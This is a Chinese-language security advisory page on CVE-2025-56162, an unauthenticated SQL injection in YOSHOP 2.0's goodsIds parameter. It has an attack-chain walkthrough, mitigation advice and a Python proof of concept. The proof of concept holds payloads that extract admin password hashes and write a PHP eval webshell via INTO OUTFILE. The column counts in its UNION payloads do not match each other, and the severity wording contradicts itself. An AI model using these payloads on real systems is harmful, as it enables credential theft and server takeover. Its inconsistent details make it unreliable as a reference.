IPBUF安全漏洞报告
English
CVE-2025-56162 CVSS 6.5 中危

CVE-2025-56162:YOSHOP 2.0 goodsIds参数SQL注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-56162
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YOSHOP 2.0

相关标签

SQL注入YOSHOP电商系统ThinkPHP未认证漏洞远程代码执行CVE-2025-56162中危漏洞orderRaw注入WebShell写入

漏洞概述

YOSHOP 2.0是一款基于ThinkPHP框架开发的开源电商系统,提供了商品管理、订单处理、用户系统等完整的电商功能。CVE-2025-56162是存在于YOSHOP 2.0中的一项高危安全漏洞,具体表现为/api/goods/listByIds接口中的goodsIds参数存在未认证的SQL注入漏洞。该漏洞源于后端getListByIds函数直接将用户输入拼接到orderRaw('field(goods_id, ...)')的原始SQL语句中,未对输入进行任何过滤或参数化处理,导致攻击者可以在未经身份验证的情况下构造恶意SQL语句。由于该接口无需任何认证即可访问(PR:N),且攻击向量为网络(AV:N),无需用户交互(UI:N),使得该漏洞极易被远程攻击者利用。攻击者可以利用此漏洞枚举和修改数据库内容,包括窃取管理员密码哈希等敏感数据;在数据库权限充足的情况下,还可以通过写入WebShell文件或调用xp_cmdshell等方式实现远程代码执行(RCE),完全控制目标服务器。该漏洞的CVSS评分为6.5分,属于中危级别,但其潜在危害极为严重,可能导致数据泄露、网站篡改以及服务器沦陷等严重后果。

技术细节

该漏洞的根本原因在于YOSHOP 2.0的/api/goods/listByIds接口在处理goodsIds参数时,未采用参数化查询或预编译语句,而是直接将用户可控的输入拼接到原始SQL查询中。具体来说,后端getListByIds函数使用了类似orderRaw('field(goods_id, ('.$goodsIds.'))')的代码模式,将goodsIds参数的值直接嵌入到ORDER BY子句的FIELD函数中。由于ThinkPHP的orderRaw方法允许执行原生SQL表达式,攻击者可以通过闭合单引号并注入额外的SQL语句来实现注入攻击。

利用方式如下:
1. 攻击者向/api/goods/listByIds接口发送包含恶意SQL片段的goodsIds参数;
2. 由于接口无需认证,攻击者可以直接访问;
3. 注入的SQL语句可以执行以下操作:
- 使用UNION SELECT查询枚举数据库中的表和列;
- 提取管理员账号的密码哈希;
- 如果数据库用户具有FILE权限,可以通过INTO OUTFILE写入WebShell;
- 如果是MSSQL数据库且权限足够,可以调用xp_cmdshell执行系统命令;
4. 最终实现从数据窃取到完全远程代码执行的攻击链升级。

攻击链分析

STEP 1
1. 漏洞探测
攻击者首先访问目标站点的/api/goods/listByIds接口,通过在goodsIds参数中注入特殊字符(如单引号、括号等)来探测是否存在SQL注入漏洞。
STEP 2
2. 注入点确认
通过布尔盲注、时间盲注或错误回显等方式确认注入点的可用性,确定数据库类型(MySQL、MSSQL等)及版本信息。
STEP 3
3. 数据库信息枚举
利用UNION查询或information_schema枚举数据库名、表名和列名,定位存储管理员凭据的表(如yoshop_user)。
STEP 4
4. 凭据提取
通过注入语句提取管理员账号的用户名和密码哈希值,利用彩虹表或哈希破解工具还原明文密码。
STEP 5
5. 权限提升与RCE
若数据库用户具有FILE权限,使用INTO OUTFILE写入WebShell;若是MSSQL且权限足够,调用xp_cmdshell执行系统命令,实现远程代码执行。
STEP 6
6. 服务器控制
成功获取服务器控制权限后,攻击者可植入持久化后门、横向移动、窃取敏感数据或进行勒索攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56162 - YOSHOP 2.0 SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection in goodsIds parameter # Endpoint: /api/goods/listByIds # Method: GET import requests target_url = "http://target.com" endpoint = "/api/goods/listByIds" # Payload 1: Basic SQL Injection to test the vulnerability payload_basic = "1) AND 1=1-- -" # Payload 2: UNION-based injection to extract admin password hash payload_union = "1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,group_concat(username,0x3a,password) FROM yoshop_user-- -" # Payload 3: Error-based injection payload_error = "1) AND extractvalue(1,concat(0x7e,(SELECT password FROM yoshop_user LIMIT 1)))-- -" # Payload 4: Time-based blind injection payload_time = "1) AND IF(1=1,SLEEP(5),0)-- -" # Payload 5: Write WebShell via INTO OUTFILE (requires FILE privilege) payload_shell = "1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE '/var/www/html/shell.php'-- -" # Send exploit request def exploit(target, payload): params = {"goodsIds": payload} try: resp = requests.get(target + endpoint, params=params, timeout=10) print(f"[+] Status: {resp.status_code}") print(f"[+] Response: {resp.text[:500]}") return resp except Exception as e: print(f"[-] Error: {e}") return None # Run exploitation print("[*] Testing basic injection...") exploit(target_url, payload_basic) print("\n[*] Extracting admin credentials...") exploit(target_url, payload_union) print("\n[*] Attempting WebShell upload...") exploit(target_url, payload_shell)

影响范围

YOSHOP 2.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对/api/goods/listByIds接口实施访问控制,限制仅认证用户可访问;2)在Web服务器或反向代理层面部署WAF规则,过滤包含SQL关键字(如UNION、SELECT、SLEEP、xp_cmdshell等)的恶意请求;3)修改数据库用户权限,移除FILE权限和xp_cmdshell执行权限;4)在应用层对goodsIds参数进行严格的白名单校验,仅允许数字和逗号通过;5)监控异常数据库查询日志,及时发现并阻断注入攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表